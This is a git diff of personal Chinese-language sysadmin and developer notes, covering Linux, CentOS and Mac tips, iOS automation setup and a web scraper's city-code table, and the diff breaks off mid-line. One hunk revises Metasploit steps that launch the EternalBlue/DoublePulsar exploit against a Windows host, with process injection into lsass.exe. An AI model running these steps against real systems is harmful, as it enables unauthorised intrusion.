diff --git a/Android.md b/Android.md new file mode 100644 index 0000000..a1d1760 --- /dev/null +++ b/Android.md @@ -0,0 +1,3 @@ +## Android中通过adb shell input来模拟滑动、按键、点击事件 + +参考: http://blog.csdn.net/ouyang_peng/article/details/48463059 diff --git a/Eternalblue.md b/Eternalblue.md index 6a2f8c5..8f6128b 100644 --- a/Eternalblue.md +++ b/Eternalblue.md @@ -25,7 +25,7 @@ msf auxiliary(smb_ms17_010) > options msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.107 msf auxiliary(smb_ms17_010) > run -# cd Eternalblue-Doublepulsar-Metasploit-master/ +# cd Eternalblue-Doublepulsar-Metasploit/ # cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ # cd deps # pwd @@ -34,9 +34,9 @@ msf auxiliary(smb_ms17_010) > run > reload_all msf exploit(eternalblue_doublepulsar) > use exploit/windows/smb/eternalblue_doublepulsar msf exploit(eternalblue_doublepulsar) > options -msf exploit(eternalblue_doublepulsar) > set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit-master/deps -msf exploit(eternalblue_doublepulsar) > set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit-master/deps -msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe +msf exploit(eternalblue_doublepulsar) > set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit/deps +msf exploit(eternalblue_doublepulsar) > set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit/deps +msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe # (Change to lsass.exe for x64) msf exploit(eternalblue_doublepulsar) > set RHOST 192.168.1.107 msf exploit(eternalblue_doublepulsar) > set TARGETARCHITECTURE x64 msf exploit(eternalblue_doublepulsar) > show targets diff --git a/Linux.md b/Linux.md index d08e96d..fd04930 100644 --- a/Linux.md +++ b/Linux.md @@ -42,9 +42,25 @@ $ sudo apt-get update 查看系统版本 ``` -$ cat /proc/version +# cat /proc/version +Linux version 3.10.0-327.36.3.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-4) (GCC) ) #1 SMP Mon Oct 24 16:09:20 UTC 2016 ``` +``` +# uname -a +Linux controller01 3.10.0-327.36.3.el7.x86_64 #1 SMP Mon Oct 24 16:09:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux +``` + +``` +# lsb_release -a +LSB Version: :core-4.1-amd64:core-4.1-noarch +Distributor ID: CentOS +Description: CentOS Linux release 7.2.1511 (Core) +Release: 7.2.1511 +Codename: Core +``` + + 显示操作系统32还是64位 ``` $ sudo uname --m @@ -492,9 +508,16 @@ $ pip -i http://pypi.douban.com/simple install Flask 或者修改 pip 源配置 ``` $ mkdir ~/.pip -$ vim ~/.pip/pip.conf +$ tee ~/.pip/pip.conf <<-'EOF' +[global] +index-url = http://mirrors.aliyun.com/pypi/simple/ + +[install] +trusted-host=mirrors.aliyun.com +EOF ``` +阿里源 ``` [global] index-url = http://mirrors.aliyun.com/pypi/simple/ @@ -502,7 +525,7 @@ index-url = http://mirrors.aliyun.com/pypi/simple/ [install] trusted-host=mirrors.aliyun.com ``` -或者 +豆瓣源 ``` [global] index-url = http://pypi.douban.com/simple @@ -510,6 +533,7 @@ index-url = http://pypi.douban.com/simple [install] trusted-host=pypi.douban.com ``` + 由于最新的 pip 安装需要使用的 https 加密,所以在此需要添加 trusted-host 参考:http://mirrors.aliyun.com/help/pypi @@ -616,3 +640,287 @@ chkconfig --list | systemctl list-unit-files --type=service (推荐) ls /etc chkconfig frobozz --list | ls /etc/systemd/system/*.wants/frobozz.service | 用来列出该服务在哪些运行级别下启用和禁用。 chkconfig frobozz --add | systemctl daemon-reload | 当您创建新服务文件或者变更设置时使用。 + +### 网络调试 + +```bash +telnet IP PORT +``` + +调试TCP +```bash +nc -l ip port # 开启监听 +nc ip port # 连接服务 +``` + +调试UDP +```bash +nc -u -l ip port # 开启监听 +nc -u ip port # 连接服务 +``` + + +### 网络服务 + +快速开启网络web服务 + +```bash +php -S 0:8888 +``` +http://0.0.0.0:8888 + +```bash +python -m SimpleHTTPServer 8866 +``` +http://0.0.0.0:8866 + + +区别,PHP版本需要index.php, 而python版本直接返回目录 + + +### DNS 反向解析 + +关闭反向解析 +```bash +vim /etc/ssh/sshd_config +``` +设置 UseDNS no +```bash +service sshd restart +``` + + +### at + +定时任务 +```bash +echo `date` +at now + 1 minute <<< "/bin/echo `date` > /tmp/time.log" +at now + 10 minutes <<< "/bin/echo `date` > /tmp/time.log" # 创建任务 +at -l # 列出任务 +at -c 1 # 显示任务内容 +``` + + +## CentOs + +SELinux 全称 Security Enhanced Linux (安全强化 Linux) + +是 MAC (Mandatory Access Control,强制访问控制系统)的一个实现, +目的在于明确的指明某个进程可以访问哪些资源(文件、网络端口等)。 + + +- Disabled 代表 SELinux 被禁用 +- Permissive 代表仅记录安全警告但不阻止可疑行为 +- Enforcing 代表记录警告且阻止可疑行为。 + +目前常见发行版中,RHEL 和 Fedora 默认设置为 Enforcing,其余的如 openSUSE 等为 Permissive。 + +获取当前 SELinux 运行状态(Enforcing、Permissive 和 Disabled) +``` +# getenforce +``` + +改变 SELinux 运行状态(不用重启) +``` +# setenforce 1 # Enforcing +# setenforce 0 # Permissive +``` + +查看 SELinux 文件 +``` +# vim /etc/sysconfig/selinux +``` + +最小化安装(Server 版)注意事项 + +``` +# vi /etc/selinux/config +SELINUX=enforcing +改为: +SELINUX=permissive +``` +保存, 重启 + +启用网卡 +``` +# vi /etc/sysconfig/network-scripts/ifcfg-ens33 +ONBOOT = no +修改为: +ONBOOT = yes +保存, 重启 +``` + +`ifconfig`无法使用 + +``` +# ip addr +# ip link +``` + +查看哪个组件包含了`ifconfig` +``` +# yum provides ifconfig # 或 yum whatprovides ifconfig +Loaded plugins: fastestmirror +Loading mirror speeds from cached hostfile + * base: mirrors.shuosc.org + * extras: mirrors.163.com + * updates: mirrors.163.com +net-tools-2.0-0.22.20131004git.el7.x86_64 : Basic networking tools +Repo : @base +Matched from: +Filename : /usr/sbin/ifconfig +# yum install -y net-tools +``` + +`firewall`是动态防火墙, 建立在`iptables`之上; `iptables`用于过滤数据包,属于网络层防火墙. + +关闭 CentOS7 自带的防火墙`firewall`并取消开机自启 +``` +# systemctl status firewalld +# systemctl stop firewalld +# systemctl disable firewalld +# systemctl status firewalld +``` + +安装`iptables`防火墙 +``` +yum install -y iptables-services +``` + +修改`iptables`配置文件 +``` +# vi /etc/sysconfig/iptables +# 添加下面三句话到默认的22端口这条规则的下面 +-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT +-A INPUT -p tcp -m state --state NEW -m tcp --dport 3306 -j ACCEPT +-A INPUT -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT +``` + +``` +# systemctl restart iptables +# 添加iptables开机自启项 +# systemctl enable iptables +``` + +安装 EPEL 源 +``` +# yum install -y epel-release +``` + +安装 pip 并升级 pip +``` +# yum install -y python-pip +# pip install -U pip +# pip -V +``` + +补充常用的工具(wget, vim) +``` +# yum install -y wget vim-enhanced +``` + + +从`ping`命令的回显判断操作系统类型 + +ttl | system +--- | --- +128 | WIN NT/2K/XP +32 | WIN 95/98/ME +256 | UNIX +64 | LINUX + +一般 ttl 都会小于上面的值, 因为中间有跳跃的节点 +但是这个`ttl`值可以人为修改 + + +## 文件校验 +``` +$ md5sum .bashrc +1f98b8f3f3c8f8927eca945d59dcc1c6 .bashrc +$ shasum .bashrc +c4d853993e323432cb84359de2c319b9a767b729 .bashrc +$ sha1sum .bashrc +c4d853993e323432cb84359de2c319b9a767b729 .bashrc +``` + + +## 文件描述符 + +描述符号 | 说明 +--- | --- +0 | 标准输入 +1 | 标准输出 +2 | 标准错误输出 +/dev/null | 黑洞 + +常见组合: + +描述符号组合 | 说明 +--- | --- +2>&1 | - +/dev/null | - + + +## `ls -l`命令查看某一个目录会得到一个7个字段的列 + +``` +root@kali:~# ls -l /var/spool/cron/crontabs/root +-rw------- 1 root crontab 1.5K 12月 24 00:30 root +``` + +- 第 1 字段 + +10个字母的序号 | 说明 +--- | --- +1 | 文件类型('-':普通文件;'d':目录;'l':链接文件;'b':块设备文件;'c':字符设备文件;'p':命令管道文件;'s':sock文件) +2,3,4 | rwx(读,写,执行)权限;文件的拥有者 +5,6,7 | rwx(读,写,执行)权限;文件的拥有者同组用户 +8,9,10 | rwx(读,写,执行)权限;非文件拥有者其他用户 + +- 第 2 字段 + +文件硬链接数 + +- 第 3 字段 + +文件(目录)拥有者 + +- 第 4 字段 + +文件(目录)拥有者所在的组 + +- 第 5 字段 + +文件所占用的空间(以字节为单位) + +- 第 6 字段 + +文件(目录)最近访问(修改)时间 + +- 第 7 字段 + +文件名 + + +## 登录远程主机如果出现如下警告 +``` +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! +Someone could be eavesdropping on you right now (man-in-the-middle attack)! +It is also possible that a host key has just been changed. +The fingerprint for the RSA key sent by the remote host is +SHA256:IpTUMpNl17JrbLg2l3bHcP2x6A9ijsF+EKmfRcZBxPU. +Please contact your system administrator. +Add correct host key in /Users/zhanghe/.ssh/known_hosts to get rid of this message. +Offending RSA key in /Users/zhanghe/.ssh/known_hosts:68 +RSA host key for 100.100.100.100 has changed and you have requested strict checking. +Host key verification failed. +``` + +把以下文件中IP(`100.100.100.100`)对应的这一行删除 +``` +vim /Users/zhanghe/.ssh/known_hosts +``` diff --git a/Mac.md b/Mac.md index b19d51f..7b98446 100644 --- a/Mac.md +++ b/Mac.md @@ -103,3 +103,131 @@ EF0C7F72D8917DB538A0245E46BFD6B1 ✗ sudo mv Install\ macOS\ Sierra.app ~/tools/ ``` 然后可以制作U盘启动盘 + + +## at + +Mac 环境下,必须先启动 atrun (默认是关闭的) +```bash +man atrun # 查看文档 +sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist # 开启服务 +sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.atrun.plist # 关闭服务 +``` + +定时任务 +```bash +echo `date` +at now + 1 minute <<< "/bin/echo `date` > /tmp/time.log" +at now + 10 minutes <<< "/bin/echo `date` > /tmp/time.log" # 创建任务 +at -l # 列出任务 +at -c 1 # 显示任务内容 +``` + + +## Mac 键盘图标与对应快捷按键 + +键盘图标 | 快捷按键 +| --- | --- | +⌘ | Command () win +⌃ | Control ctrl +⌥ | Option alt +⇧ | Shift +⇪ | Caps Lock + + +### 文件校验 +Mac md5 替代 md5sum +``` +$ md5 .bashrc +MD5 (.bashrc) = 1f98b8f3f3c8f8927eca945d59dcc1c6 +$ shasum .bashrc +c4d853993e323432cb84359de2c319b9a767b729 .bashrc +``` + + +## Mac 安装 matplotlib + +```bash +pip install matplotlib +``` +测试导入报错 +``` +Traceback (most recent call last): + File "wechat_jump_iOS_py3.py", line 3, in + import matplotlib.pyplot as plt + File "/Users/zhanghe/code/wechat_jump_game/wechat_jump_game.env/lib/python3.6/site-packages/matplotlib/pyplot.py", line 116, in + _backend_mod, new_figure_manager, draw_if_interactive, _show = pylab_setup() + File "/Users/zhanghe/code/wechat_jump_game/wechat_jump_game.env/lib/python3.6/site-packages/matplotlib/backends/__init__.py", line 60, in pylab_setup + [backend_name], 0) + File "/Users/zhanghe/code/wechat_jump_game/wechat_jump_game.env/lib/python3.6/site-packages/matplotlib/backends/backend_macosx.py", line 17, in + from matplotlib.backends import _macosx +RuntimeError: Python is not installed as a framework. The Mac OS X backend will not be able to function correctly if Python is not installed as a framework. See the Python documentation for more information on installing Python as a framework on Mac OS X. Please either reinstall Python as a framework, or try one of the other backends. If you are using (Ana)Conda please install python.app and replace the use of 'python' with 'pythonw'. See 'Working with Matplotlib on OSX' in the Matplotlib FAQ for more information. +``` + +解决办法: +```bash +echo "backend: TkAgg" > ~/.matplotlib/matplotlibrc +``` + + +## iphone 真机调试 + +https://github.com/openatx/facebook-wda + +Install python wda client +```bash +pip install --pre facebook-wda +``` + +https://github.com/Carthage/Carthage +```bash +brew install carthage +``` + +iOS 真机如何安装 WebDriverAgent +```bash +git clone https://github.com/facebook/WebDriverAgent +cd WebDriverAgent +./Scripts/bootstrap.sh +``` +安装完成, 双击`WebDriverAgent.xcodeproj`文件 + +设置证书, 参考: +- https://testerhome.com/topics/7220 +- https://testerhome.com/topics/8085 + + +```bash +brew install libimobiledevice +``` + +端口转发 +```bash +iproxy --help +usage: iproxy LOCAL_TCP_PORT DEVICE_TCP_PORT [UDID] + +iproxy 8100 8100 +``` + +验证服务状态 +``` +curl http://localhost:8100/status +{ + "value": { + "state": "success", + "os": { + "name": "iOS", + "version": "11.2.1" + }, + "ios": { + "simulatorVersion": "11.2.1", + "ip": "192.168.3.44" + }, + "build": { + "time": "Dec 30 2017 21:05:55" + } + }, + "sessionId": "BC69BB2F-945F-4EBC-B94B-5E8C01696F82", + "status": 0 +} +``` diff --git a/README.md b/README.md index 3613035..3ca7cf2 100644 --- a/README.md +++ b/README.md @@ -459,6 +459,19 @@ Tornado安装 如果是企业网站特别是有业务运营的云服务器, 如淘宝品牌、企业电子商务平台、企业微信平台网站、微客来之类的网站,都推荐带宽选择3M-5M起。 + 出网(KBPS) + 是访客使用的带宽 也就是我们所说的带宽 + 入网(KBPS) + 我在云主机上没有下载东西用的流量 + + 入网=上行(上传速度) + 出网=下行(下载速度) + + + 上行带宽:表现为上传速度 + 下行带宽:表现为下载速度 + + 框架选择 世上没有最好的框架,只有最适合你自己、最适合你的团队的框架。 @@ -1220,6 +1233,29 @@ strace -p [pid] -tt -s 1024 -o /tmp/[pid].log ``` +## 理解 tuple (元祖) + +为什么当tuple只有一个item时,需要加逗号 + +``` +In [1]: (3+4)*5 +Out[1]: 35 + +In [2]: (3+4,)*5 +Out[2]: (7, 7, 7, 7, 7) +``` + +``` +In [3]: type(('fuck')) +Out[3]: str + +In [4]: type(('fuck',)) +Out[4]: tuple +``` + +Not the parentheses make the tuple, the commas do. + + ## 文档托管 Read the Docs diff --git a/fuck/58.py b/fuck/58.py index 8e62c46..4d93a06 100644 --- a/fuck/58.py +++ b/fuck/58.py @@ -16,6 +16,444 @@ UserAgent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +city_map = { + 'bj': 11, # 北京 + 'sh': 31, # 上海 + 'tj': 12, # 天津 + 'cq': 50, # 重庆 + 'qd': 3702, # 青岛 + 'jn': 3701, # 济南 + 'yt': 3706, # 烟台 + 'wf': 3707, # 潍坊 + 'linyi': 3713, # 临沂 + 'zb': 3703, # 淄博 + 'jining': 3708, # 济宁 + 'ta': 3709, # 泰安 + 'lc': 3715, # 聊城 + 'weihai': 3710, # 威海 + 'zaozhuang': 3704, # 枣庄 + 'dz': 3714, # 德州 + 'rizhao': 3711, # 日照 + 'dy': 3705, # 东营 + 'heze': 3717, # 菏泽 + 'bz': 3716, # 滨州 + 'lw': 3712, # 莱芜 + 'zhangqiu': 3701, # 章丘 + 'kl': 3705, # 垦利 + 'zc': 3707, # 诸城 + 'shouguang': 3707, # 寿光 + 'su': 3205, # 苏州 + 'nj': 3201, # 南京 + 'wx': 3202, # 无锡 + 'cz': 3204, # 常州 + 'xz': 3203, # 徐州 + 'nt': 3206, # 南通 + 'yz': 3210, # 扬州 + 'yancheng': 3209, # 盐城 + 'ha': 3208, # 淮安 + 'lyg': 3207, # 连云港 + 'taizhou': 3212, # 泰州 + 'suqian': 3213, # 宿迁 + 'zj': 3211, # 镇江 + 'shuyang': 3213, # 沭阳 + 'dafeng': 3209, # 大丰 + 'rugao': 3206, # 如皋 + 'qidong': 3206, # 启东 + 'liyang': 3223, # 溧阳 + 'haimen': 3206, # 海门 + 'donghai': 3207, # 东海 + 'yangzhong': 3211, # 扬中 + 'xinghuashi': 3212, # 兴化 + 'xinyishi': 3203, # 新沂 + 'taixing': 3214, # 泰兴 + 'rudong': 3206, # 如东 + 'pizhou': 3203, # 邳州 + 'xzpeixian': 3203, # 沛县 + 'jingjiang': 3216, # 靖江 + 'jianhu': 3209, # 建湖 + 'haian': 3206, # 海安 + 'dongtai': 3209, # 东台 + 'danyang': 3221, # 丹阳 + 'hz': 3301, # 杭州 + 'nb': 3302, # 宁波 + 'wz': 3303, # 温州 + 'jh': 3307, # 金华 + 'jx': 3304, # 嘉兴 + 'tz': 3310, # 台州 + 'sx': 3306, # 绍兴 + 'huzhou': 3305, # 湖州 + 'lishui': 3311, # 丽水 + 'quzhou': 3308, # 衢州 + 'zhoushan': 3309, # 舟山 + 'yueqingcity': 3303, # 乐清 + 'ruiancity': 3303, # 瑞安 + 'yiwu': 3313, # 义乌 + 'yuyao': 3302, # 余姚 + 'zhuji': 3306, # 诸暨 + 'xiangshanxian': 3302, # 象山 + 'wenling': 3310, # 温岭 + 'tongxiang': 3304, # 桐乡 + 'cixi': 3302, # 慈溪 + 'changxing': 3305, # 长兴 + 'jiashanx': 3304, # 嘉善 + 'haining': 3312, # 海宁 + 'deqing': 3305, # 德清 + 'hf': 3401, # 合肥 + 'wuhu': 3402, # 芜湖 + 'bengbu': 3403, # 蚌埠 + 'fy': 3412, # 阜阳 + 'hn': 3404, # 淮南 + 'anqing': 3408, # 安庆 + 'suzhou': 3413, # 宿州 + 'la': 3415, # 六安 + 'huaibei': 3406, # 淮北 + 'chuzhou': 3411, # 滁州 + 'mas': 3405, # 马鞍山 + 'tongling': 3407, # 铜陵 + 'xuancheng': 3418, # 宣城 + 'bozhou': 3416, # 亳州 + 'huangshan': 3410, # 黄山 + 'chizhou': 3417, # 池州 + 'ch': 3414, # 巢湖 + 'hexian': 3405, # 和县 + 'hq': 3415, # 霍邱 + 'tongcheng': 3408, # 桐城 + 'ningguo': 3418, # 宁国 + 'tianchang': 3411, # 天长 + 'sz': 4403, # 深圳 + 'gz': 4401, # 广州 + 'dg': 4419, # 东莞 + 'fs': 4406, # 佛山 + 'zs': 4420, # 中山 + 'zh': 4404, # 珠海 + 'huizhou': 4413, # 惠州 + 'jm': 4407, # 江门 + 'st': 4405, # 汕头 + 'zhanjiang': 4408, # 湛江 + 'zq': 4412, # 肇庆 + 'mm': 4409, # 茂名 + 'jy': 4452, # 揭阳 + 'mz': 4414, # 梅州 + 'qingyuan': 4418, # 清远 + 'yj': 4417, # 阳江 + 'sg': 4402, # 韶关 + 'heyuan': 4416, # 河源 + 'yf': 4453, # 云浮 + 'sw': 4415, # 汕尾 + 'chaozhou': 4451, # 潮州 + 'taishan': 4407, # 台山 + 'yangchun': 4417, # 阳春 + 'sd': 4422, # 顺德 + 'huidong': 4413, # 惠东 + 'boluo': 4413, # 博罗 + 'fz': 3501, # 福州 + 'xm': 3502, # 厦门 + 'qz': 3505, # 泉州 + 'pt': 3503, # 莆田 + 'zhangzhou': 3506, # 漳州 + 'nd': 3509, # 宁德 + 'sm': 3504, # 三明 + 'np': 3507, # 南平 + 'ly': 3508, # 龙岩 + 'wuyishan': 3507, # 武夷山 + 'shishi': 3505, # 石狮 + 'jinjiangshi': 3505, # 晋江 + 'nananshi': 3505, # 南安 + 'nn': 4501, # 南宁 + 'liuzhou': 4502, # 柳州 + 'gl': 4503, # 桂林 + 'yulin': 4509, # 玉林 + 'wuzhou': 4504, # 梧州 + 'bh': 4505, # 北海 + 'gg': 4508, # 贵港 + 'qinzhou': 4507, # 钦州 + 'baise': 4510, # 百色 + 'hc': 4512, # 河池 + 'lb': 4513, # 来宾 + 'hezhou': 4511, # 贺州 + 'fcg': 4506, # 防城港 + 'chongzuo': 4514, # 崇左 + 'haikou': 4601, # 海口 + 'sanya': 4602, # 三亚 + 'wzs': 4603, # 五指山 + 'sansha': 3509, # 三沙 + 'qh': 4604, # 琼海 + 'wenchang': 4606, # 文昌 + 'wanning': 4607, # 万宁 + 'tunchang': 0, # 屯昌 + 'qiongzhong': 0, # 琼中 + 'lingshui': 0, # 陵水 + 'df': 4608, # 东方 + 'da': 0, # 定安 + 'cm': 0, # 澄迈 + 'baoting': 0, # 保亭 + 'baish': 5307, # 白沙 + 'danzhou': 4605, # 儋州 + 'zz': 4101, # 郑州 + 'luoyang': 4103, # 洛阳 + 'xx': 4107, # 新乡 + 'ny': 4113, # 南阳 + 'xc': 4110, # 许昌 + 'pds': 4104, # 平顶山 + 'ay': 4105, # 安阳 + 'jiaozuo': 4108, # 焦作 + 'sq': 4114, # 商丘 + 'kaifeng': 4102, # 开封 + 'puyang': 4109, # 濮阳 + 'zk': 4116, # 周口 + 'xy': 4115, # 信阳 + 'zmd': 4117, # 驻马店 + 'luohe': 4111, # 漯河 + 'smx': 4112, # 三门峡 + 'hb': 4106, # 鹤壁 + 'jiyuan': 4118, # 济源 + 'mg': 4115, # 明港 + 'yanling': 4110, # 鄢陵 + 'yuzhou': 4110, # 禹州 + 'changge': 4110, # 长葛 + 'wh': 4201, # 武汉 + 'yc': 4205, # 宜昌 + 'xf': 4204, # 襄阳 + 'jingzhou': 4210, # 荆州 + 'shiyan': 4203, # 十堰 + 'hshi': 4202, # 黄石 + 'xiaogan': 4209, # 孝感 + 'hg': 4211, # 黄冈 + 'es': 4228, # 恩施 + 'jingmen': 4208, # 荆门 + 'xianning': 4212, # 咸宁 + 'ez': 4207, # 鄂州 + 'suizhou': 4213, # 随州 + 'qianjiang': 4230, # 潜江 + 'tm': 4231, # 天门 + 'xiantao': 4229, # 仙桃 + 'snj': 4232, # 神农架 + 'yidou': 4205, # 宜都 + 'cs': 4301, # 长沙 + 'zhuzhou': 4302, # 株洲 + 'yiyang': 4309, # 益阳 + 'changde': 4307, # 常德 + 'hy': 4304, # 衡阳 + 'xiangtan': 4303, # 湘潭 + 'yy': 4306, # 岳阳 + 'chenzhou': 4310, # 郴州 + 'shaoyang': 4305, # 邵阳 + 'hh': 4312, # 怀化 + 'yongzhou': 4311, # 永州 + 'ld': 4313, # 娄底 + 'xiangxi': 4331, # 湘西 + 'zjj': 4308, # 张家界 + 'nc': 3601, # 南昌 + 'ganzhou': 3607, # 赣州 + 'jj': 3604, # 九江 + 'yichun': 3609, # 宜春 + 'ja': 3608, # 吉安 + 'sr': 3611, # 上饶 + 'px': 3603, # 萍乡 + 'fuzhou': 3610, # 抚州 + 'jdz': 3602, # 景德镇 + 'xinyu': 3605, # 新余 + 'yingtan': 3606, # 鹰潭 + 'yxx': 3608, # 永新 + 'sy': 2101, # 沈阳 + 'dl': 2102, # 大连 + 'as': 2103, # 鞍山 + 'jinzhou': 2107, # 锦州 + 'fushun': 2104, # 抚顺 + 'yk': 2108, # 营口 + 'pj': 2111, # 盘锦 + 'cy': 2113, # 朝阳 + 'dandong': 2106, # 丹东 + 'liaoyang': 2110, # 辽阳 + 'benxi': 2105, # 本溪 + 'hld': 2114, # 葫芦岛 + 'tl': 2112, # 铁岭 + 'fx': 2109, # 阜新 + 'pld': 2102, # 庄河 + 'wfd': 2102, # 瓦房店 + 'hrb': 2301, # 哈尔滨 + 'dq': 2306, # 大庆 + 'qqhr': 2302, # 齐齐哈尔 + 'mdj': 2310, # 牡丹江 + 'suihua': 2312, # 绥化 + 'jms': 2308, # 佳木斯 + 'jixi': 2303, # 鸡西 + 'sys': 2305, # 双鸭山 + 'hegang': 2304, # 鹤岗 + 'heihe': 2311, # 黑河 + 'yich': 2307, # 伊春 + 'qth': 2309, # 七台河 + 'dxal': 2327, # 大兴安岭 + 'cc': 2201, # 长春 + 'jl': 22, # 吉林 + 'sp': 2203, # 四平 + 'yanbian': 2224, # 延边 + 'songyuan': 2207, # 松原 + 'bc': 2208, # 白城 + 'th': 2205, # 通化 + 'baishan': 2206, # 白山 + 'liaoyuan': 2204, # 辽源 + 'cd': 5101, # 成都 + 'mianyang': 5107, # 绵阳 + 'deyang': 5106, # 德阳 + 'nanchong': 5113, # 南充 + 'yb': 5115, # 宜宾 + 'zg': 5103, # 自贡 + 'ls': 5111, # 乐山 + 'luzhou': 5105, # 泸州 + 'dazhou': 5117, # 达州 + 'scnj': 5110, # 内江 + 'suining': 5109, # 遂宁 + 'panzhihua': 5104, # 攀枝花 + 'ms': 5114, # 眉山 + 'ga': 5116, # 广安 + 'zy': 5120, # 资阳 + 'liangshan': 5134, # 凉山 + 'guangyuan': 5108, # 广元 + 'ya': 5118, # 雅安 + 'bazhong': 5119, # 巴中 + 'ab': 5132, # 阿坝 + 'ganzi': 5133, # 甘孜 + 'km': 5301, # 昆明 + 'qj': 5303, # 曲靖 + 'dali': 5329, # 大理 + 'honghe': 5325, # 红河 + 'yx': 5304, # 玉溪 + 'lj': 5307, # 丽江 + 'ws': 5326, # 文山 + 'cx': 5323, # 楚雄 + 'bn': 5328, # 西双版纳 + 'zt': 5306, # 昭通 + 'dh': 5331, # 德宏 + 'pe': 5311, # 普洱 + 'bs': 5305, # 保山 + 'lincang': 5309, # 临沧 + 'diqing': 5334, # 迪庆 + 'nujiang': 5333, # 怒江 + 'gy': 5201, # 贵阳 + 'zunyi': 5203, # 遵义 + 'qdn': 5226, # 黔东南 + 'qn': 5227, # 黔南 + 'lps': 5202, # 六盘水 + 'bijie': 5224, # 毕节 + 'tr': 5222, # 铜仁 + 'anshun': 5204, # 安顺 + 'qxn': 5223, # 黔西南 + 'lasa': 5401, # 拉萨 + 'rkz': 5423, # 日喀则 + 'sn': 5422, # 山南 + 'linzhi': 5426, # 林芝 + 'changdu': 5421, # 昌都 + 'nq': 5424, # 那曲 + 'al': 5425, # 阿里 + 'rituxian': 5425, # 日土 + 'gaizexian': 5425, # 改则 + 'sjz': 1301, # 石家庄 + 'bd': 1306, # 保定 + 'ts': 1302, # 唐山 + 'lf': 1310, # 廊坊 + 'hd': 1304, # 邯郸 + 'qhd': 1303, # 秦皇岛 + 'cangzhou': 1309, # 沧州 + 'xt': 1305, # 邢台 + 'hs': 1311, # 衡水 + 'zjk': 1307, # 张家口 + 'chengde': 1308, # 承德 + 'dingzhou': 1306, # 定州 + 'gt': 1304, # 馆陶 + 'zhangbei': 1307, # 张北 + 'zx': 1301, # 赵县 + 'zd': 1301, # 正定 + 'ty': 1401, # 太原 + 'linfen': 1410, # 临汾 + 'dt': 1402, # 大同 + 'yuncheng': 1408, # 运城 + 'jz': 1407, # 晋中 + 'changzhi': 1404, # 长治 + 'jincheng': 1405, # 晋城 + 'yq': 1403, # 阳泉 + 'lvliang': 1411, # 吕梁 + 'xinzhou': 1409, # 忻州 + 'shuozhou': 1406, # 朔州 + 'linyixian': 1408, # 临猗 + 'qingxu': 1401, # 清徐 + 'hu': 1501, # 呼和浩特 + 'bt': 1502, # 包头 + 'chifeng': 1504, # 赤峰 + 'erds': 1506, # 鄂尔多斯 + 'tongliao': 1505, # 通辽 + 'hlbe': 1507, # 呼伦贝尔 + 'bycem': 1508, # 巴彦淖尔市 + 'wlcb': 1509, # 乌兰察布 + 'xl': 1525, # 锡林郭勒 + 'xam': 1522, # 兴安盟 + 'wuhai': 1503, # 乌海 + 'alsm': 1529, # 阿拉善盟 + 'hlr': 1507, # 海拉尔 + 'xa': 6101, # 西安 + 'xianyang': 6104, # 咸阳 + 'baoji': 6103, # 宝鸡 + 'wn': 6105, # 渭南 + 'hanzhong': 6107, # 汉中 + 'yl': 6108, # 榆林 + 'yanan': 6106, # 延安 + 'ankang': 6109, # 安康 + 'sl': 6110, # 商洛 + 'tc': 6102, # 铜川 + 'xj': 6501, # 乌鲁木齐 + 'changji': 6523, # 昌吉 + 'bygl': 6528, # 巴音郭楞 + 'yili': 6540, # 伊犁 + 'aks': 6529, # 阿克苏 + 'ks': 6531, # 喀什 + 'hami': 6522, # 哈密 + 'klmy': 6502, # 克拉玛依 + 'betl': 6527, # 博尔塔拉 + 'tlf': 6521, # 吐鲁番 + 'ht': 6532, # 和田 + 'shz': 6544, # 石河子 + 'kzls': 6530, # 克孜勒苏 + 'ale': 6545, # 阿拉尔 + 'wjq': 6547, # 五家渠 + 'tmsk': 6546, # 图木舒克 + 'kel': 6528, # 库尔勒 + 'alt': 6543, # 阿勒泰 + 'tac': 6542, # 塔城 + 'lz': 6201, # 兰州 + 'tianshui': 6205, # 天水 + 'by': 6204, # 白银 + 'qingyang': 6210, # 庆阳 + 'pl': 6208, # 平凉 + 'jq': 6209, # 酒泉 + 'zhangye': 6207, # 张掖 + 'wuwei': 6206, # 武威 + 'dx': 6211, # 定西 + 'jinchang': 6203, # 金昌 + 'ln': 6212, # 陇南 + 'linxia': 6229, # 临夏 + 'jyg': 6202, # 嘉峪关 + 'gn': 6230, # 甘南 + 'yinchuan': 6401, # 银川 + 'wuzhong': 6403, # 吴忠 + 'szs': 6402, # 石嘴山 + 'zw': 6405, # 中卫 + 'guyuan': 6404, # 固原 + 'xn': 6301, # 西宁 + 'hx': 6328, # 海西 + 'haibei': 6322, # 海北 + 'guoluo': 6326, # 果洛 + 'haidong': 6321, # 海东 + 'huangnan': 6323, # 黄南 + 'ys': 6327, # 玉树 + 'hainan': 46, # 海南 + 'hk': 81, # 香港 + 'am': 82, # 澳门 + 'tw': 71, # 台湾 + 'quanguo': 0, # 全国 + 'cn': 0, # 其他 +} + + def get_city_list(): """ 获取城市列表 @@ -262,15 +700,35 @@ def get_area_list(city_code, city_name, province='', district=''): link_list = doc.xpath('//dd[@id="local"]/a') link_rule = u'(.*?)' area_list = [] - print "# %s" % city_name - print "'%s': [" % city_code + # print "# %s" % city_name + # print "'%s': [" % city_code + # for i, 